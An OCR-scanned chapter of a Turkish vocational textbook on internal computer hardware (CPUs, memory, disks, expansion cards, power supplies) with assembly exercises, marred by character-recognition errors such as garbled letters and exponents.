Kilohertz KHz 1073 Hz
Megahertz MHz 1076 Hz
Gigahertz GHz 1079 Hz
Terahertz THz 10712 Hz
Petahertz PHz 10715 Hz
Exahertz EHz 10718 Hz

Bir islemcinin saat ¢arpani 25 ve FSB hizi 133 MHz ise hizi nedir?

25x 133 MHz = 3325 MHz

3325 MHz ise 3325 / 1000 = 3,325 GHZz'e esittir. Bu durumda islemcinin hizi 3,325 GHz’tir.

islemciyi Uretici firmanin belirledigi standart ¢calisma hizinin {izerinde bir hiza ¢cikarmak icin asiri
hizlandirma (overclock) islemi yapilir. Asiri hizlandirma islemi, bilgisayarin ¢alisma performansini
artirirken islemcinin olagandan daha fazla i1sinmasina neden olur. Bu durum da islemcinin daha fazla
sogutulmasi geregini ortaya ¢ikarir. islemcinin yeterince sogutulmadigi durumda islemci asiri 1sinarak
kendi veya diger donanim bilesenleri i¢in zarar olusturabilir. Ayrica asiri hizlandirma islemi, islemcinin
Omrind kisaltir. Bu durumun nedeni ise islemcinin tasarlandigindan daha hizli ¢alistiriimasi ile beraber
daha hizli asinmasidir. Sonug olarak asiri hizlandirma islemi oldukga dikkatli yapilmali ve bu siiregte

islemcinin sicakhgl yakindan izlenmelidir.

3.1.2.3. islemci Cesitleri

islemciler 6zellikleri ve kullanim alanlarina gére gruplanabilir.

e Kullanim Tipine Gére islemciler

Bu islemciler ev ve ofis kullanimi veya mobil ve sunucu tabanl olarak kullanilabilir.

0 Ev ve Ofis Kullanimi

Kullanicilarin web sayfalarinda arama, e-posta iletisimi, belge diizenleme programlarini kullan-
ma ve genel islemlerini yapmalari igin yeterli performans sunar. Genellikle maliyetleri diistik

ve performanslari verimlidir.

0 Mobil Kullanim

Ozel olarak laptop, tablet veya akilli telefonlar igin tasarlanmistir. Genellikle diisiik enerji tiike-
timi ve 1sinma seviyesi ile tasinabilir cihazlar igin uygun performans sunarlar.

0 Sunucu Tabanl islemciler

Sunucu sistemleri ve veri merkezleri icin tasarlanmistir. Genellikle agir is ylkine verimli cevap
verebilmek icin cok sayida cekirdek ve yliksek bellek kapasitesine sahiptir.
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e Soket Tipine Gore islemciler

islemcinin anakarta takildigi Gérsel 3.7’de goriilen yuvaya soket ismi verilir. Donanimda
kullanilacak islemci igin uygun sokete sahip anakart segilmelidir. Segilmedigi takdirde islemci
sokete uymayacaktir.

Gorsel 3.7: CPU ve soket

islemci Ureticileri soket standartlarini belirleyerek anakart (reticilerine bildirir. Soket tipine gére
islemciler Gorsel 3.8’de gorildugi lzere LGA ve PGA soketli islemciler olmak lizere iki grupta ele alinir.

Gorsel 3.8: PGA (soldaki) ve LGA (sagdaki) CPU tipleri

0 LGA (Land Grid Array) islemciler
LGA islemci tipinde pinler anakart tizerindedir ve islemci bu pinler lizerine oturtulur.
0 PGA (Pin Grid Array) islemciler

PGA islemci tipinde pinler islemci Gizerindedir ve soket icine takilr.

e Cekirdek (Core) Sayisina Gore islemciler

Cekirdek, islemcinin ayni anda yapabilecegi islem sayisini belirler. islemcilerde cift (dual-core),
dort (quad-core), sekiz (octa-core) gibi farkli sayida ¢ekirdek bulunabilir. Cekirdek sayisinin fazla
olmasi islemcinin ayni anda daha ¢ok islemi yapma yetenegi anlamina gelir. CPU ¢ekirdeklerinin
yazilm tarafindan da desteklemesi ve kullanabilmesi gereklidir. Glinlimizde islemcilerin ¢ekirdek
sayisi 64’e kadardir. Bu islemciler yiiksek performansli is yikleri icin tasarlanan sunucularda veya
veri merkezlerinde kullanilr.



3.1.2.4. islemci Yapisi

DONANIM BiRiMLERI

Bir islemcinin basit yapisi genellikle Sekil 3.2’de gérilen bilesenlerden olusur.

Cikis

Birimleri

i Merkezi islem Birimi (CPU)
( Kontrol Birimi )
Girig
Birimleri ( Kaydediciler ) Aritmetik
Mantik
( OnBellek ) [ Birimi(ALU)
A

! !

Hafza Birimi

( Ana Depolama ) Gkincil Depolama)

Sekil 3.2: islemcinin temel bilesenleri ve ¢alisma bicimi

Aritmetik Mantik Birimi [Arithmetic Logic Unit (ALU)]: Bu birimde aritmetik ve mantik islemleri
gerceklesir. Basit toplama, ¢ikarma, carpma ve bolme islemleri, bit kaydirma ve mantiksal karsilastirma

islemleri bu birimde gergeklesir.

Kontrol Birimi [Control Unit (CU)]: ALU, hafiza ve diger bilesenler arasinda gerceklesen veri akisini

ybnetir ve islemcinin bir sonraki adimini belirler.

Kaydediciler (Registers): Veri ve komutlari saklar. CPU icinde bulunan ve islemci tarafindan hizh bir

sekilde erisilen birimlerdir.

Onbellek (Cache): islemcinin hizli erisimi igin veri ve komutlarin saklandigi bir hafiza tiiriidiir. Onbellek,

RAM’den daha hizlidir fakat genellikle bellek kapasitesi RAM’den azdir.

Veri Yollari (Buses): Veri (data), adres (address) ve kontrol (control) olarak isimlendirilen tg¢ farkh veri
yolu vardir. islemcinin RAM, sabit disk, grafik karti gibi bilesenlerle veri alisverisini veri yollari saglar.

3.1.2.5. islemci Sogutmasi

islemciler yiiksek hizlarda calisma ve cok sayida islemi kisa siirede
yapma kapasitelerinden dolayi oldukca fazla isi iiretir. Uretilen bu
Isinin yonetimi ve kontrol(, islemcinin etkili bir sekilde ¢alisabilmesi
icin cok onemlidir. Gerekli yonetim ve kontrol saglanamazsa asiri
Isinma, islemcinin performansini azaltmakla birlikte diger donanim
bilesenlerine de zarar verebilir. Sogutma islemi icin hava, sivi veya
isil boru ile sogutma gibi farkli yéntemler kullanilabilir. islemcinin
sogutulmasinda genellikle islemcinin (izerine Gorsel 3.9'da
gorildigi gibi monte edilen bir sogutucu fan veya Gorsel 3.10°daki
gibi sivi sogutma sistemi kullanilir. Sogutucu, islemciden isiyi alarak
fanlar araciligiyla disari atar.

Gorsel 3.9: Sogutucu ve fan
Unitesi
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Gorsel 3.10: Sivi ile sogutma sistemi

islemci ve sogutucu arasinda isi iletimini maksimize etmek icin Gérsel 3.11’de gosterildigi iizere termal
macun kullanilir. Termal macun islyi islemciden sogutucuya aktararak islemci igin yiksek diizeyli bir
sogutma verimliligi saglar. Termal macunun ¢ok az kullaniimasi ise yeterli isi iletimini saglamayabilir.
Termal macunu uygularken yeterli miktarda kullanmak verimlilik agisindan énemlidir. islemci sogutma
hem bilgisayarin performansini iyilestirmek hem de donanim bilesenlerinin dmrini uzatmak igin
gereklidir.

Gorsel 3.11: CPU’ya termal macun siirme islemi

3.1.2.6. islemci Montaiji

islemci montaji esnasinda zorlama yapilmamali ve islemcinin yuvasina dogru sekilde oturdugundan
emin olunmahdir.



DONANIM BiRiMLERI

2. UYGULAMA Gorsel 3.12°deki islemci montajini verilen adimlar dogrultusunda
gerceklestiriniz.

Gorsel 3.12: islemci montaj

1. Adim: Montaj islemi 6ncesi statik elektrik dnlemlerini (antistatik bileklik veya eldiven kullanmak gibi)
aliniz.

2. Adim: islemci mandalini kaldirarak islemci sikisirma kapagini aginiz.

3. Adim: Anakart yeni ise islemci soketinde koruyucu plastik bulunur. Oncelikle koruyucu plastigi
kaldiriniz(Anakart yeni degilse bu adimi geginiz.).

4. Adim: islemcinin kenarlarinda bulunan centikler ve késesindeki licgen isaret islemciyi dogru
yerlestirmek i¢in uygun yoni gosterir. Buna gore islemciyi kenarlarindan tutarak dogru yoénde yuvasina
yerlestiriniz.

5. Adim: islemcinin koruyucu kapagini kapatiniz.

6. Adim: Mandalini 6ne dogru ¢ekerek islemciyi sabitleyiniz.

7. Adim: islemci lizerine yeteri kadar termal macun uygulayiniz.

8. Adim: Sogutucu ve fani islemci lizerine takarak ayaklarini anakart lizerine sabitleyiniz.

9. Adim: Anakart lzerindeki CPU fan baglanti noktasina enerji kablosunu takiniz.

0 SIRA CPU ve fan bilesenlerini anakart lzerine yerlestirerek anakartin bilgisayar

m kasasina montajini gergeklestiriniz.
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3.1.3. Bellekler

Bellekler, bilgisayar ve farkh diger elektronik cihazlarda veri depolamak igin kullanilan donanimlardir.
Farkl tir ve boyutlarda lretilen bellekler, Gorsel 3.13’te gorildigl lizere cep telefonlari, tablet
bilgisayarlar, oyun konsollari, ev aletleri gibi ¢esitli elektronik cihazlarda yer alabilir.

Gorsel 3.13: Cep telefonlarinda kullanilabilen RAM, islemci, devre karti ve tus takimi

3.1.3.1. Bellek Yapisi ve Calismasi

Bellek, bilgisayarin gesitli bilesenleri arasindaki hiz farklarini dengeler. Ornegin verilere gok hizli erisim
saglamasi gereken islemci, sabit diski ve diger kalici depolama cihazlarini kullanarak hizli veri okuma ve
yazma gerceklestiremez ¢lnkl bu tlr depolama cihazlari yavastir. Bu nedenle Sekil 3.3’te gorildigi
Gzere islemcinin hizli bir sekilde verilere erisebilmesi icin bilgisayarlarda RAM adi verilen bir tir hizli
gecici bellek kullantlir.

HDD / SSD ONBELLEK

Disk stirticii Bellek Islemci

Sekil 3.3: islemci, disk siiriicii ve RAM bellek arasindaki veri iletim semasi

islemci, calistiracagi program dosya ve verilerini sabit diskten (HDD veya SSD) ister. Sabit disk, istenen
verileri bularak islemciye géndermek lzere RAM’e tasir. Talep edilen program verileri sabit diskten
RAM’e tasinir ¢linkii RAM, sabit disk ile kiyaslandiginda daha hizh ¢alisir ve verileri gegici olarak depolar.
RAM, verileri depolayarak islemciye sunar fakat RAM hizi islemcinin hizi ile ayni seviyede degildir.
Bu nedenle islemci, dnbellek biriminde en sik kullandigi veri ve komutlari saklar. Bu sayede islemci,
verilere ve komutlara ¢ok hizli bir sekilde erisir. islemci, 6nbellekten veri ve komutlari alarak islemleri
gerceklestirir. Bu slireg, islemcinin her yeni veri veya komut gereksinimde tekrarlanir.
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3.1.3.2. Bellek Cesitleri

Tablo 3.3’te gosterildigi tzere bellek sistemleri ROM (Sadece Okunabilir Bellek) ve RAM (Rastgele
Erisimli Bellek) olmak tizere temelde iki kategoride incelenebilir.

Tablo 3.3: RAM ve ROM Bellek Tipleri ve Ozellikleri

LTS T Elektrik Kesintisinde

Verinin Durumu

Bellek Tipi Aciklama Programlanabilir Olma
Durumu

ROM (Sade- Uretici tarafindan programlanir.
ce Okunabilir | Bellek icindeki bilgiler degistirile- Hayir Silinmez
Bellek) mez.

RAM (Rast- [ Bilgisayarda calisan uygulamalar
gele erisimli | ve islemler icin gecici veri depo- Evet Silinir
bellek) lamasi saglar.

3.1.3.3. ROM (Read Only Memory)

Gorsel 3.14’te gorilen ROM, dretici firma tarafindan lretim asamasinda programlanan sadece
okunabilir bir bellek tiirtidiir. ROM’da saklanan veriler kalicidir. Glig kesintisi olmasi durumunda veriler
kaybolmaz. Ayrica ROM’da saklanan veriler degistirilemez. Degisiklik yapmak icin 6zel islemler gerekir.

Gorsel 3.14: ROM bellek

ROM’larin Gorsel 3.15’te goriilen EEPROM (Electrically Erasable Programmable Read Only Memory),
PROM (Programmable Read Only Memory), EPROM (Erasable Programmable Read Only Memory) ve
flas (flash) bellekler olmak tzere farkh gesitleri vardir.

Gorsel 3.15: EEPROM bellek
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Tablo 3.4’te ROM tipleri ve flash bellek 6zellikleri gdsterilmistir.

Tablo 3.4: ROM Tipleri ve Flash Bellek Ozellikleri

Elektrik
Kesintisinde
Verinin
Durumu

Yazilabilir veya

Bellek Tipi Agiklama Programlanabilir
Olma Durumu

PROM (Programlanabilir Bos olarak satin alinarak 6zel | Tek seferlik Hayir
Sadece Okunabilir Bellek) devre karti ile sadece bir kere
programlanabilir.

EPROM (Silinebilir Program- | Birgok kez ultraviyole isik Evet (UV 15181 ile) Hayir
lanabilir Sadece Okunabilir | altinda silinip tekrar program-
Bellek) lanabilir.
EEPROM Elektrik kullanilarak silinir ve | Evet (Elektrik ile) Hayir
sonrasinda tekrar programla-
nabilir.
Flash Bellekler Bilgisayar araciligiyla dogru- | Evet (Elektrik ile) Hayir

dan programlanabilir.

3.1.3.4. Rastgele Erisimli Bellek (RAM)

Bilgisayarin ¢alisan uygulamalari ve isletim sistemini sakladigi gegcici bellektir. RAM’in (Goérsel 3.16)
kapasitesi ne kadar yiiksek olursa bilgisayarin ¢oklu islemleri ayni anda galistirma kapasitesi de o kadar
yluksek olur.

Gorsel 3.16: RAM bellek

RAM bellek icin 6lci birimi olarak bayt ve carpanlari kullantlir.

1 Byte (B) = 8 bit

1 Kilobyte (KB) = 1.024 Byte

1 Megabyte (MB) = 1.024 Kilobyte (KB) = 1.048.576 Byte

1 Gigabyte (GB) = 1.024 Megabyte (MB) = 1.073.741.824 Byte

1 Terabyte (TB) = 1.024 Gigabyte (GB) = 1.099.511.627.776 Byte olarak gosterilir.
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Kullanimi yaygin olan RAM cesitleri sunlardir:

e SRAM (Statik RAM)
SRAM, islemcinin 6nbelleginde kullanilir. Veriyi statik olarak tuttugu icin dlzenli yenileme
yapmasina gerek yoktur.

e DRAM (Dinamik RAM)
DRAM, bir bit hiicre basina veri depoladigi i¢in onlari korumak icin hiicrelerin diizenli olarak
venilenmesi gerekir.

e SDRAM (Senkron Dinamik RAM)

SDRAM sistem saati ile senkronize ¢alisir. Bu durum, verinin daha hizli aktarilmasina imkan tanir
(Gorsel 3.17).

Gorsel 3.17: SDRAM

e DDR2 SDRAM
DDR’nin ikinci nesli olarak ifade edilir. 400-1.066 MHz arasinda ¢alisir.

e DDR3 SDRAM
DDR’nin Uglincli nesli olarak ifade edilir. DDR2'ye gore ylksek hizlarda galisabilir. Ayni zamanda
daha dislik voltajda daha ylksek verimlilik sunar. 800-2.133 MHz arasinda calisir.

e DDR4 SDRAM
DDR’nin dordiinci nesli olarak ifade edilir. DDR3'e gore yiksek hizlarda calisabilir ve daha distk
voltajda daha ylksek verimlilik saglar. 1.600-3.200 MHz arasinda calisir.

e DDR5 SDRAM

DDR’nin besinci nesli olarak ifade edilir. DDR4’e gore yiksek hizlarda ¢alisabilir ve daha distk
voltajda daha yiksek verimlilik saglar. 3.200-6.400 MHz arasinda calisir.

SIRA Bellek se¢iminde dikkat edilmesi gereken hususlari arastiriniz. Sinifta

% arkadaslarinizla paylasiniz.

3.1.3.5. Bellek Montaji

RAM modidilleri, anakart lizerinde bulunan RAM slotlarina herhangi bir zorlama olmadan dikkatlice
yerlestirilmelidir.
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3. UYGULAMA Gorsel 3.18'deki RAM slotlarina RAM modiillerinin Gorsel 3.19'daki gibi
montajini asagidaki adimlar dogrultusunda gergeklestiriniz.

1. Adim: Montaj islemi 6ncesi statik elektrik 6nlemlerini (antistatik bileklik veya eldiven kullanmak gibi)
aliniz.

2. Adim: Bellek yuvasinin mandallarini acarak RAM bellegi dogru yonde slota yerlestiriniz.

3. Adim: RAM bellege yuvasina tam oturmasi icin yuvanin mandallari kendiliginden kapanana kadar
yukaridan baski uygulayiniz.

4. Adim: RAM bellegin yuvasina tam olarak yerlesip yerlesmedigini ve mandallarin kilitlenip kilitlenme-
digini kontrol ediniz.
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3.1.4. Disk Siirtcliler

Disk suricdleri, bilgisayarin kullandigi verileri kalici olarak depolayan donanimlardir. Veri depolama
birimi bit, byte, kilobyte (KB), megabyte (MB), gigabyte (GB), terabyte (TB), petabyte (PB), exabyte (EB),
zettabyte (ZB) ve yottabyte (YB) olarak ifade edilebilir. Glinimizde yaygin olarak kullanilan birimler MB,
GB ve TB'tir. Disk siriculer, manyetik plakali sabit strlciler (HDD) ve kat hal striculer (SSD) olmak
Gzere siniflandirilir.

e Manyetik Plakal Sabit Suriiciiler (HDD)

Bu slrlcllerde veriler manyetik
malzemeye yazilarak saklanir.
Kapasiteleri genellikle 500 GB ile 4
TB arasindadir. Verileri disk Uzerine
yazmak ve okumak icin Gorsel 3.20°de
gorildugi Gzere okumave yazma kafasi
bulunur. SATA hard disklerde doénus
hizi (RPM) sabit disk performansini
dogrudan etkiler. RPM degerinin
yuksek olmasi verilere erisimini de
hizlandirir.  Disk Uzerinde verilerin
depolandig izler (tracks), sektorler
(sectors) ve kiimeler (clusters)
bulunur. Diskin genel kapasitesini iz Gorsel 3.20: Sabit siiriicii okuma ve yazma kafasi
saylisi| gosterir. Sektor ise disk tizerinde

verinin depolandigi en kiglk birimdir.

Sektorlerin bir araya gelmesiyle de kiime olusur.

e Kati Hal Suriculer (SSD)

SSD’lerde veriler flas bellek ¢iplerine
yazilarak depolanir. Manyetik
disklerin aksine hareketli pargalari
yoktur. Bu sayede daha hizli ve
glvenilir performans sunar ancak
SSD’ler manyetik disklerden
daha pahalidir. Genellikle dislk
kapasitelere sahip olsalar da 1 TB
ve Uzeri kapasiteli SSD’ler de vardir.
Farkh bigim faktorlerinde bulunabilir.
En yaygin bicim faktori 2,5 ing SATA
SSD’dir. Bunun yani sira mSATA ve M.2
gibi daha kiiglk ve hizli siiricler de
bulunur. mSATA SSD’ler laptoplarda
kullanilir.  Laptopdaki mini PCle
yuvalarina takilarak SATA araylzi
Uzerinden veri transferi yapar. Gorsel
3.21'de goraldugh lzere M.2 SSD
fiziksel boyut olarak daha kiguktir. M2 SSD diger disk suricllerine gore daha yeni ve hizhdir.
Ultrabooklar veya kompakt cihazlarda kullanilir.

Gorsel 3.21: SSD M.2, HDD 2,5 in¢ ve HDD 3,5 in¢
strtculer



3. OGRENME BiRiMi

Tablo 3.5’te goriildiigii (izere HDD ve SSD’nin her birinin birbirine gére avantaji bulunur. Ornegin SSD’ler
ylksek performans gerektiren uygulamalar icin HDD ise biylk miktardaki veriyi uygun maliyetle
depolamak igin tercih edilir.

Tablo 3.5: HDD ve SSD Ozellikleri Karsilastirma Tablosu

Hiz Yavas Hizli

Maliyet GB basina maliyet disik GB basina maliyet yliksek

Gii¢ Tiiketimi Yiksek glic tiketimi Dislk glc tiketimi

Dayaniklilik Mekanik pargalardan dolayi darbe- | Mekanik pargalarin olmamasindan
ye dayaniksiz dolayi darbeye dayanikh

Is1 Yayilhimi Mekanik hareketinden dolayi daha | Mekanik hareket olmadigi icin daha
fazla isinma az isinma

Ses Disk donisii ve kafa hareketinin Mekanik parcalar olmadigli icin sessiz
sesi olur. calisir.

3.1.4.1. Sabit Disk Siirticii Kablolari

Veri transferi icin iki tiir kablo kullanilir. Bunlar, Gorsel 3.22’deki PATA (paralel ATA) ve Gorsel 3.23’teki
SATA (serial ATA) kablolardir. PATA kablolar IDE kablosu olarak da adlandirilir. Bu kablolar 40 veya 80
pinli olarak saniyede 133 MB veri aktarimi saglayabilir. SATA ile veri aktarimi yeni bir teknoloji olarak
daha az hacim kaplar. SATA’nin 7 pini saniyede yaklasik 2 GB veri aktarimi yapabilir.

Gorsel 3.22: PATA (IDE) kablo Gorsel 3.23: SATA kablo 1338809672

3.1.4.2. Disk Siiriicii Montaji

Disk sirdcileri kasanin belirli bir bélimiine monte edilir. Diskler yerine monte edildikten sonra vidayla
sabitlenir.

4. UYGULAMA Gorsel 3.24’teki disk striici montajini asagidaki adimlar dogrultusunda
gerceklestiriniz.
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Gorsel 3.24: Disk montajl

1. Adim: Montaj islemi 6ncesi statik elektrik dnlemlerini (antistatik bileklik veya eldiven kullanmak gibi)
aliniz.

2. Adim: Sabit disk slrliclistiini stiriicii bélmesiyle hizalayiniz.

3. Adim: Sabit disk stricisind, vida delikleri strict yuvasindaki deliklerle hizalanana kadar kasanin
icinden yuvaya kaydiriniz.

4. Adim: SATA veya PATA veri aktarim kablosunu sabit disk stirticiistine takiniz.
5. Adim: SATA veya PATA kablosunun bir ucunu anakarta takiniz.

3.1.5. Genisleme Yuvasi Kartlari

Anakart tizerinde bulunan genisleme yuvalarina takilan donanim kartlaridir. Ginimizde ¢ogu zaman
anakart Ureticileri ekran (gorinti) kart, ses karti ve Ethernet kartini timlesik (onboard) olarak anakart
Gzerine monte eder. Kullanicilarin tiimlesik donanim kartlarindan daha fazla 6zellik ve performansa
ihtiyac duymasi durumunda harici genisleme yuvalarina takilacak donanim kartlari kullanilr.

3.1.5.1. Ekran Karti

Ekran karti tOrd, mevcut ve gelecekteki
ihtiyaclara gore secilmelidir ¢linkii ekran
kart tlrt bilgisayarin genel performansini
etkiler. Ornegin 3D oyun oynamak igin
secilen grafik karti minimum performans
gereksinimlerini  karsilamali  veya bu
gereksinimlerin Gzerinde olmalidir. 3D
grafikler veya gelismis video 6zellikleri gibi
ylksek ¢oziinirluge ihtiyag duyuldugunda
yeni bir ekran karti alinabilir. Ekran
karti genellikle AGP ve PCle yuvalarina
takilir. Glinlimiizde arttk AGP veri yolu Gorsel 3.25: Ekran kart gérinimii
kullaniimamaktadir. (Gorsel 3.25).
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3.1.5.2. Ekran Karti Montaj

Genellikle ekran karti PCI Express (PCle) yuvasi olarak adlandirilan, anakart tizerindeki uygun genisleme
yuvasina yerlestirilir.

5. UYGULAMA Gorsel 3.26’daki grafik ekran karti montajini verilen adimlar dogrultusun-

da gerceklestiriniz.

Gorsel 3.26: Grafik karti montaji

1. Adim: Montaj islemi 6ncesi statik elektrik dnlemlerini (antistatik bileklik veya eldiven kullanmak gibi)
aliniz.

2. Adim: Ekran kartinin yerlestirilecegi genisleme yuvasinin kilitleme mandallarini aginiz.
3. Adim: Ekran kartini dik tutarak genisleme yuvasina yerlestiriniz.

4. Adim: Genisleme yuvasina yerlestirdiginiz ekran kartini asaglya dogru bastirarak yuva baslarindaki
mandallari kilitleyiniz.

5. Adim: Ekran kartini konnektor aynasindan kasaya sabitleyiniz.

3.1.5.3. Ses Karti

Ses karty, bilgisayarda ses giris ve ¢ikisini kontrol eder. Ses kartinin tiirQ, bilgisayarin ses kalitesini belirler.
GUnUmuzde ses kartlari genellikle anakart Ureticileri tarafindan tiimlesik olarak tasarlanir. Ses kartlari
anakart tizerine PCI, PCle veya USB portu Uzerinden takilir (Gorsel 3.27).

Gorsel 3.27: Ses kart
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3.1.5.4. Ses Karti Montaj

Harici ses karti, PCI veya PCle genisleme yuvalarindan uyumlu olanina yerlestirilir.

6. UYGULAMA Gorsel 3.28'deki ses karti montajini verilen adimlar dogrultusunda

gerceklestiriniz.

Gorsel 3.28: Anakart lizerinde ekran kart1 ve ses karti

1. Adim: Montaj islemi 6ncesi statik elektrik dnlemlerini (antistatik bileklik veya eldiven kullanmak gibi)
aliniz.

2. Adim: Ses karti genisleme yuvasinin mandallari varsa aginiz.

3. Adim: Ses kartini genisleme yuvasina yukaridan bastirilarak yerlestiriniz (Varsa yuva mandallarini
kapatiniz.).

4. Adim: Ses kartini konnekt6r aynasindan kasaya sabitleyiniz.

3.1.5.5. Ag Arayiiz Kart [Network Interface Card (NIC)]

Gorsel 3.29'da gosterilen ag karti, bilgisayarin aga baglanmasini saglar. Bir ag karti, veri paketlerini
gonderirken ve alirken belirli bir iletisim standardi kullanir. iletisim standardindaki kurallar bitiini
olarak ifade edilen protokol, verinin paketlenip nasil gonderilecegini ve alinacagini belirler. Ag kartinda;
yonga seti, RJ-45 konnektori (kablolu aga baglanmak igin), bazi durumlarda ise kablosuz baglanti igin
de bir anten bulunur. Ag karty, bilgisayarin anakartina tiimlesik olabilir veya anakart izerindeki ayri bir
genisleme yuvasina takilabilir.

Gorsel 3.29: Ag kart
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3.1.5.6. Ag Karti Calisma Prensibi

Ethernet protokoll (ag iletisim protokoll) ile agdaki cihazlar birbirleriyle veri iletisimi yapar. LAN
(yerel alan agi) teknolojisi icin yaygin kullanilan standarttir. Kablosuz iletisimde ise wi-fi protokoll veri
iletisimini saglar. Ethernet protokoli, verilerin gcerceveler (frames) halinde iletilmesini saglar. Sekil 3.4’te
gorildugi tzere cergevede hedef cihazin adresi, kaynak cihazin adresi ve veri bulunur.

Hedef Kaynak . ; FCS
- Tar/Uzunluk Veri (Data)
(Destination) (Source) (Cergeve
MAC Adres MAC Adres Kontrol Dizisi)
(6 bayt) (6 bayt) (2 bayt) (46-1500 bayt) (4 bayt)

Sekil 3.4: Ethernet cerceve alanlari

Her Ethernet kartinin benzersiz bir MAC [Media Access Control (Medya Erisim Kontrol Adresi)] ad-
resi bulunur. Bu adres, cihazlarin birbirini taniyarak iletisim kurmasina olanak sunar. MAC adresinin
uzunlugu 48 bittir. MAC adresi onaltilik (hexadecimal) formatta yazilir ve alti adet onaltilik hane icerir
(00:0A:95:9D:68:16). Sekil 3.5'te goruldugl Gizere 48 bitten olusan adresin ilk 24 biti OUI [Organizati-
onally Unique Identifier (Uretici Firma Tanimlayici)] degeri olarak ag arayiiz kartinin (NIC) reticisini
gosterir. Diger 24 bit ise ag arayliz karti denetleyicisine 6zgli numarasidir. Karta bu numara Uretici tara-
findan verilir. Diinyada her cihazin benzersiz bir MAC adresi bulunur.

ooolinoo

24 Bit - Uretici Firma 24 Bit - Tekil Ag arayiiz
Tanmmlayicisi kart numarasi

Sekil 3.5: 48 bit MAC adres yapisi

MAC adresleri yazilimsal olarak degistirilebilir. Yazilm tabanli MAC adresi degisikligi icin isletim sistemi
seviyesinde cesitli araclar kullanilir.

S

o Yazilim tabanli MAC adresi degisikligi icin isletim sistemi seviyesinde
kullanilan araglari arastirarak bu araglarin kullanim amaglarini ve
senaryolarini inceleyiniz.

Ethernet kartinin galisma siireci su sekildedir:

e Bilgisayar veri paketi gondermek istediginde bu paketi Ethernet kartina gonderir.

e Ethernet karti aldigi veriyi Ethernet protokolliine uygun paket haline donustlrir. Paketleme
isleminde verinin hedef adresi (alicinin Ethernet karti MAC adresi) ve kaynak adresi (gonderen
Ethernet karti MAC adresi) kullanilarak yapilr.
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e Ethernet kart, paketlenmis veriyi ag kablosu araciligiyla iletisim agina (network) goénderir.
Ethernet kart tarafindan gonderilen bu paketlenmis veri, ag kablosu Uzerinden hedef cihazin
Ethernet kartina ulasir.

e Kendine ulasan paket dogru adresli ise Ethernet karti bu paketi acarak veriyi bilgisayarin islemesi
icin hazirlar. Bunun yani sira Ethernet karti bir cercevedeki hatalari tespit etmek icin dort bayttan
olusan Cerceve Kontrol Dizisi (FCS) kontroliini kullanilir. Veri iletimi olusabilecek ¢akismalar icin
ise CSMA/CD protokoltint kullanip tespit ederek ¢akismadan dolayi kaybolan veri paketlerinin
yeniden gonderimini talep eder.

SIRA

am CSMA/CD ve CSMA/CA prokollerinin ¢alisma seklini arastiriniz.

3.1.5.7. Ag Arayiiz Kart [Network Inteface Card (NIC)] Montaji

Gorsel 3.30’daki Ethernet kartlari genellikle PCI genisleme yuvalarina takilir.

Gorsel 3.30: Ethernet karth

7. UYGULAMA Ethernet kartinin PCI genisleme yuvasina montajini verilen adimlar

dogrultusunda gercgeklestiriniz.

1. Adim: Montaj islemi 6ncesi statik elektrik dnlemlerini (antistatik bileklik veya eldiven kullanmak gibi)
aliniz.

2. Adim: Ethernet kartina yukaridan baski yaparak genisleme yuvasina tam olarak yerlesmesini
saglayiniz.

3. Adim: Ethernet kartini bilgisayar arka panelinden kasaya sabitleyiniz.

3.1.6. Gli¢ Kaynagi (Power Supply)

Gorsel 3.31'de gosterilen glic kaynagi, AC girisini DC cikis voltajlarina dondstirip bilgisayara vererek
tiim donanim bilesenlerine elektrik saglar. Genellikle 3,3 V, 5 V ve 12 V voltaj saglar. Gili¢ kaynagi
kablolarini diger bilesenlere baglarken dikkat edilmelidir. Kablolar, konnektorler ve bilesenler birbirine
uyum saglayacak sekilde tasarlanmistir. Bu nedenle hi¢bir zaman konnektoér veya donanim takilirken
zorlanmamalidir. Takilma slirecinde acele edilmemeli ve donanimin dogru sekilde baglandigindan emin
olunmalidir.
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Gorsel 3.31: Gii¢ kaynagi

G S 0 W Y TR VO T T Y
’,‘

3.1.6.1. Gii¢ Kaynagi Montaji

Bir bilgisayar toplama sirasinda veya kasada takili olan gii¢c kaynaginin arizalanmasi durumunda gii¢
kaynaginin takilip gikarilmasi gerekebilir. Gli¢ kaynagini monte etmek oldukca kolaydir. Yapiimasi
gereken, glc kaynaginin kasadaki st bos kdseye, glc kaynagl faninin ise kasadaki karsiligl olan fan
bosluguna denk gelecek sekilde yerlestirilip vidalamak ve kablolari anakartin uygun yerlerine takmaktr.

8. UYGULAMA Gorsel 3.32'deki gli¢ kaynagi montajini asagidaki adimlar dogrultusunda
gerceklestiriniz.

Gorsel 3.32: Glg kaynagi montaji
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1. Adim: Bilgisayar kasasinin yan panellerindeki vidalari sékiiniiz.

2. Adim: Yan panelleri bilgisayar kasasindan gikariniz.

3. Adim: Gli¢ kaynagindaki vida deliklerini kasadakilerle hizalayiniz.

4. Adim: Gli¢ kaynagini vidalariyla kasaya sabitleyiniz.

5. Adim: Gii¢ kaynaginin bir voltaj se¢im anahtari varsa bu anahtari alandaki voltajla eslesecek sekilde
ayarlayiniz.

SIRA

Asagidaki sorulari yanitlayiniz.

1. Bolgenizdeki elektrik voltaji ne kadardir?

2. Kasanizdaki gli¢ kaynagini kag adet vida tutuyor?
3. Gli¢ kaynaginin toplam Watt degeri kagtir?

3.2. DIS DONANIM BiRIMLERI

Dis donanim birimleri kullaniciyla dogrudan etkilesimde bulunur. Bu birimler; USB, HDMI, DisplayPort,
DVI, Ethernet veya kablosuz teknolojiler (Wi-Fi, Bluetooth vb.) gibi farkli standart baglanti noktalari ve
protokolleri kullanilarak bilgisayara baglanir.

Monitor
Monitor, bilgisayar ¢iktisini gorsel olarak gorintiler. LCD, LED, OLED vb. farkli tiirleri ve teknolojileri
bulunur.

Klavye
Klavye, kullanicilarin veri girisi yaparak bilgisayar ile etkilesim kurmalarini saglar.

Fare
Fare, kullanicilarin grafik araylizle etkilesim kurmasini saglar. Cesitli fare tirleri ve teknolojileri
bulunur.

Yazici
Yazici, bilgisayarindaki dijital belge ve dosyalari genellikle kagida basili bir formata donistiren bir
cihazdir.

Tarayici
Tarayicl, fiziksel belge veya goruntileri dijital formata donGstirir.

Hoparlorler ve Kulakliklar
Hoparlorler ve kulakhklar, bilgisayardan ses ciktisi saglar.

Web Kamerasi
Web kamerasi, video konferans goriismelerinde goriintl aktarmayi saglar.

Harici Depolama Aygitlari
Harici depolama aygitlari; harict hard diskler, USB flash strtciiler veya SD kartlar gibi tasinabilir
depolama ¢ozimleri sunar.

Ag Aygitlari
